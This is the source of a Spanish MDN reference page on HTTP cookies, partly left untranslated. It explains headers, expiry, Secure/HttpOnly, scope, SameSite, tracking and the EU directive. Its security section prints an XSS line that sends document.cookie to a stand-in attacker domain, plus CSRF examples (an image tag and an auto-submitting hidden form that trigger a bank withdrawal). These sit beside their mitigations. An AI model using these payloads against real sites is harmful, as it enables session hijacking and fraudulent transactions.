path: root/files/es/web/http/cookies/index.html

---
title: HTTP cookies
slug: Web/HTTP/Cookies
tags:
  - Almacenamiento
  - Articulo sobre Cookies
  - Cookies
  - Datos
  - Desarrollo web
  - HTTP
  - JavaScript
  - Navegador
  - Petición
  - Protocolos
  - Servidor
  - privacidad
  - seguimiento
translation_of: Web/HTTP/Cookies
---
<div>{{HTTPSidebar}}</div>

<p class="summary"><span class="seoSummary">Una cookie HTTP, </span>cookie web o cookie de navegador es una pequeña pieza de datos que un servidor envía a el navegador web del usuario. El navegador guarda estos datos y los envía de regreso junto con la nueva petición al mismo servidor. Las cookies se usan generalmente para decirle al servidor que dos peticiones tienen su origen en el mismo navegador web lo que permite, por ejemplo, mantener la sesión de un usuario abierta. Las cookies permiten recordar la información de estado en vista a que el protocolo HTTP es un protocolo sin estado.</p>

<p>Las cookies se utilizan principalmente con tres propósitos:</p>

<dl>
 <dt>Gestión de Sesiones</dt>
 <dd>Inicios de sesión, carritos de compras, puntajes de juegos o cualquier otra cosa que el servidor deba recordar</dd>
 <dt>Personalización</dt>
 <dd>Preferencias de usuario, temas y otras configuraciones</dd>
 <dt>Rastreo</dt>
 <dd>Guardar y analizar el comportamiento del usuario</dd>
</dl>

<p>Las cookies se usaron una vez para el almacenamiento general del lado del cliente. Si bien esto era legítimo cuando eran la única forma de almacenar datos en el cliente, hoy en día se recomienda preferir las API de almacenamiento modernas. Las cookies se envían con cada solicitud, por lo que pueden empeorar el rendimiento (especialmente para las conexiones de datos móviles). Las APIs modernas para el almacenamiento del cliente son la <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a> (<code>localStorage</code> y <code>sessionStorage</code>) e <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>.</p>

<div class="note">
<div class="blockIndicator warning">
<div class="blockIndicator note">
<p>Para ver las cookies almacenadas (y otro tipo de almacenamiento que una página web puede usar), puede habilitar el <a href="https://developer.mozilla.org/en-US/docs/Tools/Storage_Inspector">Inspector de Almacenamiento</a> en Herramientas del desarrollador y seleccionar Cookies en el árbol de almacenamiento.</p>
</div>
</div>
</div>

<h2 id="Creando_cookies">Creando cookies</h2>

<p>Al recibir una solicitud HTTP, un servidor puede enviar un encabezado {{HTTPHeader ("Set-Cookie")}} con la respuesta. La cookie generalmente es almacenada por el navegador, y luego la cookie se envía con solicitudes hechas al mismo servidor dentro de un encabezado HTTP {{HTTPHeader ("Cookie")}}. Se puede especificar una fecha de vencimiento o duración, después de lo cual ya no se envía la cookie. Además, se pueden establecer restricciones a un dominio y ruta específicos, lo que limita el lugar donde se envía la cookie.</p>

<h3 id="Los_encabezados_Set-Cookie_y_Cookie">Los encabezados <code>Set-Cookie</code> y <code>Cookie</code></h3>

<p>El encabezado de respuesta HTTP {{HTTPHeader ("Set-Cookie")}} envía las cookies del servidor al agente de usuario. Una cookie simple se establece así:</p>

<pre class="syntaxbox notranslate">Set-Cookie: &lt;nombre-cookie&gt;=&lt;valor-cookie&gt;</pre>

<p>Este encabezado del servidor le dice al cliente que almacene una cookie.</p>

<div class="note"><strong>Note:</strong> Aquí se explica como usar el encabezado <code>Set-Cookie</code> en varias aplicaciones del lado del servidor:

<ul>
 <li><a href="https://secure.php.net/manual/en/function.setcookie.php">PHP</a></li>
 <li><a href="https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value">Node.JS</a></li>
 <li><a href="https://docs.python.org/3/library/http.cookies.html">Python</a></li>
 <li><a href="http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a></li>
</ul>
</div>

<pre class="notranslate">HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]</pre>

<p id="The_client_sends_back_to_the_server_its_cookies_previously_stored">Ahora, con cada nueva solicitud al servidor, el navegador enviará todas las cookies almacenadas previamente al servidor utilizando el encabezado {{HTTPHeader ("Cookie")}}.</p>

<pre class="notranslate">GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry</pre>

<h3 id="Cookies_de_sesión">Cookies de sesión</h3>

<p>La cookie creada anteriormente es una cookie de sesión: se elimina cuando el cliente se cierra, por que no se especificó una directiva <code>Expires</code> o <code>Max-Age</code> . Sin embargo, los navegadores web pueden usar la <strong>restauración de sesiones</strong>, lo que hace que la mayoría de las cookies de sesión sean permanentes, como si el navegador nunca se cerrara.</p>

<h3 id="Cookies_Permanentes">Cookies Permanentes</h3>

<p>En lugar de expirar cuando el cliente se cierra, las <em>cookies permanentes</em> expiran en una fecha específica (<code>Expires</code>) o tras un periodo de tiempo específico (<code>Max-Age</code>).</p>

<pre class="notranslate">Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre>

<div class="note">
<p><strong>Nota</strong>: Cuando se establece una fecha de expiración, la fecha y hora que se establece es relativa al cliente en el que se establece la cookie, no del servidor.</p>
</div>

<h3 id="Cookies_Secure_y_HttpOnly">Cookies <code>Secure</code> y <code>HttpOnly</code></h3>

<p>Una cookie segura sólo se envía al servidor con una petición cifrada sobre el protocolo HTTPS. Incluso con <code>Secure</code>, no debería almacenarse <em>nunca</em> información sensible en la cookies, ya que son inherentemente inseguras y este flag no puede ofrecer protección real. A partir de Chrome 52 y Firefox 52, los sitios inseguros (<code>http:</code>) no pueden establecer cookies con la directiva <code>Secure</code>.</p>

<p>Para prevenir ataques cross-site scripting ({{Glossary("XSS")}}), las cookies <code>HttpOnly</code> son inaccesibles desde la API de Javascript {{domxref("Document.cookie")}}; Solamente se envían al servidor. Por ejemplo, las cookies que persisten sesiones del lado del servidor no necesitan estar disponibles para JavaScript, por lo que debería establecerse el flag <code>HttpOnly</code>.</p>

<pre class="notranslate">Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly</pre>

<h3 id="Alcance_de_las_cookies">Alcance de las cookies</h3>

<p>Las directivas <code>Domain</code> y <code>Path</code> definen el alcance de la cookie: a qué URLs deberían enviarse las cookies.</p>

<p><code>Domain</code> especifica los hosts permitidos para recibir la cookie. Si no se especifica, toma como valor por defecto el <a href="/en-US/docs/Web/API/Document/location">host del Document.location actual,</a> <strong>excluyendo subdominios</strong>. Si se especifica <code>Domain</code>, los subdominios son siempre incluidos.</p>

<p>Por ejemplo, si se establece <code>Domain=mozilla.org</code>, las cookies se incluyen en subdominios como <code>developer.mozilla.org</code>.</p>

<p><code>Path</code> indica una ruta URL que debe existir en la URL solicitada para enviar el header. El carácter %x2F ("/") es considerado un separador de directorios, y los subdirectorios también coincidirán.</p>

<p>Por ejemplo, si se establece <code>Path=/docs</code> estas rutas coincidirán:</p>

<ul>
 <li><code>/docs</code></li>
 <li><code>/docs/Web/</code></li>
 <li><code>/docs/Web/HTTP</code></li>
</ul>

<h3 id="Cookies_SameSite_experimental_inline">Cookies <code>SameSite</code> {{experimental_inline}}</h3>

<p>Las cookies <code>SameSite</code> permiten a los servidores requerir que una cookie no sea enviada con solicitudes cross-site (donde {{Glossary("Site")}} es definido por el dominio registrabe), lo que proporciona algo de protección contra ataques cross-site request forgery ({{Glossary("CSRF")}}).</p>

<p>Las cookies <code>SameSite</code> son relativamente nuevas y <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/headers/Set-Cookie#Browser_compatibility">soportadas por los principales navegadores</a>.</p>

<p>Aquí hay un ejemplo:</p>

<pre class="notranslate"><code>Set-Cookie: key=value; SameSite=Strict</code></pre>

<p>El atributo same-site puede tomar uno de los dos valores (case-insensitive):</p>

<dl>
 <dt><code>Strict</code></dt>
 <dd>Si una cookie same-site tiene este atributo, el navegador sólo enviará cookies si la solicitud se originó en el sitio web que estableció la cookie. Si la solicitud se originó desde una URL diferente que la URL del location actual, no se incluirá ninguna cookie etiquetada con el atributo <code>Strict</code>.</dd>
 <dt><code>Lax</code></dt>
 <dd>Si el atributo se establece en Lax, las cookies same-site se retienen en (sub)peticiones cross-site, tales como llamadas para cargar imágenes o frames, pero se enviarán cuando un usuario navegue a la URL desde un sitio externo, por ejemplo, siguiendo un enlace.</dd>
</dl>

<p>El comportamiento por defecto de este flag si no está establecido, o no está soportado por el navegador, es incluir las cookies en cualquier solicitud, incluyendo solicitudes corss-origin.</p>

<h3 id="Acceso_desde_JavaScript_usando_Document.cookie">Acceso desde JavaScript usando <code>Document.cookie</code></h3>

<p>También se pueden crear nuevas cookies via JavaScript usando la propiedad {{domxref("Document.cookie")}}, y si el flag <code>HttpOnly</code> no está establecido, también se puede acceder a las cookies existentes desde JavaScript.</p>

<pre class="brush: js notranslate">document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
// logs "yummy_cookie=choco; tasty_cookie=strawberry"</pre>

<p>Tenga en cuenta las cuestiones de seguridad en la siguiente sección <a href="/en-US/docs/Web/HTTP/Cookies#Security">Seguridad</a>. Las cookies disponibles para JavaScript pueden ser robadas por medio de XSS.</p>

<h2 id="Seguridad">Seguridad</h2>

<div class="note">
<p>Nunca se debe almacenar ni transmitir información confidecial o sensible mediante Cookies HTTP, ya que todo el mecanismo es inherentemente inseguro.</p>
</div>

<h3 id="Secuestro_de_session_y_XSS">Secuestro de session y XSS</h3>

<p>Las cookies son utilizadas a menudo en aplicaciones web para identificar a un usuario y su sesión autenticada, así que el robo de una cookie puede implicar el secuestro de la sesión del usuario autenticado. Las formas más comunes de robar cookies incluyen ingeniería social o la explotación de una vulnerabilidad {{Glossary("XSS")}} de la aplicación.</p>

<pre class="brush: js notranslate">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;</pre>

<p>El atributo cookie <code>HttpOnly</code> puede ayudar a mitigar este ataque evitando el acceso al valor de la cookie a través de JavaScript.</p>

<h3 id="Cross-site_request_forgery_CSRF">Cross-site request forgery (CSRF)</h3>

<p><a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">Wikipedia</a> menciona buenos ejemplos para {{Glossary("CSRF")}}. En este caso, alguien puede incluir una imagen que no es realmente una imagen (por ejemplo un chat o foro sin filtrar), que en lugar de esto es realmente una solicitud de tu banco para retirar tu dinero:</p>

<pre class="brush: html notranslate">&lt;img src="http://bank.example.com/withdraw?account=bob&amp;amount=1000000&amp;for=mallory"&gt;</pre>

<p>Ahora, si tu tienes una sesión iniciada en tu tu cuenta bancaria y las cookies permanecen siendo válidas (y no hay otra validación mas que esa), se realizará la transferencia desde tu cuenta tan pronto como se cargue el html que contiene la imagen. Para los endpoints que requieren una petición de tipo POST, se puede disparar un evento de tipo envío de formulario (posiblemente en un iframe invisible) cuando la página se carga:</p>

<pre class="notranslate">&lt;form action="https://bank.example.com/withdraw" method="POST"&gt;
  &lt;input type="hidden" name="account" value="bob"&gt;
  &lt;input type="hidden" name="amount" value="1000000"&gt;
  &lt;input type="hidden" name="for" value="mallory"&gt;
&lt;/form&gt;
&lt;script&gt;window.addEventListener('DOMContentLoaded', (e) =&gt; { document.querySelector('form').submit(); }&lt;/script&gt;</pre>

<p>Se presentan aquí algunas técnicas que se deberían usar para evitar que estas cosas ocurran:</p>

<ul>
 <li>Los endpoints GET no deben tener acciones de modificación, y si esto se necesita se debería requerir una petición POST. Además los endpoints POST no debería aceptar la intercambiabilidad de aceptar peticiones GET con parametros en <em>query string</em></li>
 <li>Un token CSRF debería ser incluido en cada elemento <code>&lt;form&gt;</code> mediante un input oculto. Este token debe ser único para cada usuario y almacenado (por ejemplo, en una <em>cookie</em>). De esta forma el servidor puede mirar si el valor requerido es enviado, y en cierto modo lo idea sería descartar la petición si el valor no concuerda con lo esperado.
  <ul>
   <li>Este método de protección recae en la imposibilidad de que un atacante pueda predecir este token autogenerado en cada inicio de sesión. Cabe aclarar que este token debería ser regenerado en cada inicio de sesión.</li>
  </ul>
 </li>
 <li>Al igual que con {{Glosario ("XSS")}}, el filtrado de entrada es importante.</li>
 <li>Debería de existir siempre un requerimiento de confirmación para cualquier acción delicada,.</li>
 <li>Las cookies empleadas en acciones delicadas deberían de tener una vida útil breve.</li>
 <li>Para más prevención visita <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet">OWASP CSRF prevention cheat sheet</a>.</li>
</ul>

<h2 id="Tracking_and_privacy">Tracking and privacy</h2>

<h3 id="Third-party_cookies">Third-party cookies</h3>

<p>Cookies have a domain associated to them. If this domain is the same as the domain of the page you are on, the cookies is said to be a <em>first-party cookie</em>. If the domain is different, it is said to be a <em>third-party cookie</em>. While first-party cookies are sent only to the server setting them, a web page may contain images or other components stored on servers in other domains (like ad banners). Cookies that are sent through these third-party components are called third-party cookies and are mainly used for advertising and tracking across the web. See for example the <a href="https://www.google.com/policies/technologies/types/">types of cookies used by Google</a>. Most browsers allow third-party cookies by default, but there are add-ons available to block them (for example, <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/">Privacy Badger</a> by the <a href="https://www.eff.org/">EFF</a>).</p>

<p>If you are not disclosing third-party cookies, consumer trust might get harmed if cookie use is discovered. A clear disclosure (such as in a privacy policy) tends to eliminate any negative effects of a cookie discovery. Some countries also have legislation about cookies. See for example Wikipedia's <a href="https://wikimediafoundation.org/wiki/Cookie_statement">cookie statement</a>.</p>

<ul>
</ul>

<h3 id="Do-Not-Track">Do-Not-Track</h3>

<p>There are no legal or technological requirements for its use, but the {{HTTPHeader("DNT")}} header can be used to signal that a web application should disable either its tracking or cross-site user tracking of an individual user. See the {{HTTPHeader("DNT")}} header for more information.</p>

<h3 id="EU_cookie_directive">EU cookie directive</h3>

<p>Requirements for cookies across the EU are defined in <a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">Directive 2009/136/EC</a> of the European Parliament and came into effect on 25 May 2011. A directive is not a law by itself, but a requirement for EU member states to put laws in place that meet the requirements of the directive. The actual laws can differ from country to country.</p>

<p>In short the EU directive means that before somebody can store or retrieve any information from a computer, mobile phone or other device, the user must give informed consent to do so. Many websites have added banners since then to inform the user about the use of cookies.</p>

<p>For more, see <a href="https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive">this Wikipedia section</a> and consult state laws for the latest and most accurate information.</p>

<h3 id="Zombie_cookies_and_Evercookies">Zombie cookies and Evercookies</h3>

<p>A more radical approach to cookies are zombie cookies or "Evercookies" which are recreated after their deletion and are intentionally hard to delete forever. They are using the <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a>, Flash Local Shared Objects and other techniques to recreate themselves whenever the cookie's absence is detected.</p>

<ul>
 <li><a href="https://github.com/samyk/evercookie">Evercookie by Samy Kamkar</a></li>
 <li><a href="https://en.wikipedia.org/wiki/Zombie_cookie">Zombie cookies on Wikipedia</a></li>
</ul>

<h2 id="See_also">See also</h2>

<ul>
 <li>{{HTTPHeader("Set-Cookie")}}</li>
 <li>{{HTTPHeader("Cookie")}}</li>
 <li>{{domxref("Document.cookie")}}</li>
 <li>{{domxref("Navigator.cookieEnabled")}}</li>
 <li><a href="/en-US/docs/Tools/Storage_Inspector">Inspecting cookies using the Storage Inspector</a></li>
 <li><a class="external" href="https://tools.ietf.org/html/rfc6265">Cookie specification: RFC 6265</a></li>
 <li><a class="external" href="https://www.nczonline.net/blog/2009/05/05/http-cookies-explained/">Nicholas Zakas article on cookies</a></li>
 <li><a class="external" href="https://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Nicholas Zakas article on cookies and security</a></li>
 <li><a href="https://en.wikipedia.org/wiki/HTTP_cookie">HTTP cookie on Wikipedia</a></li>
</ul>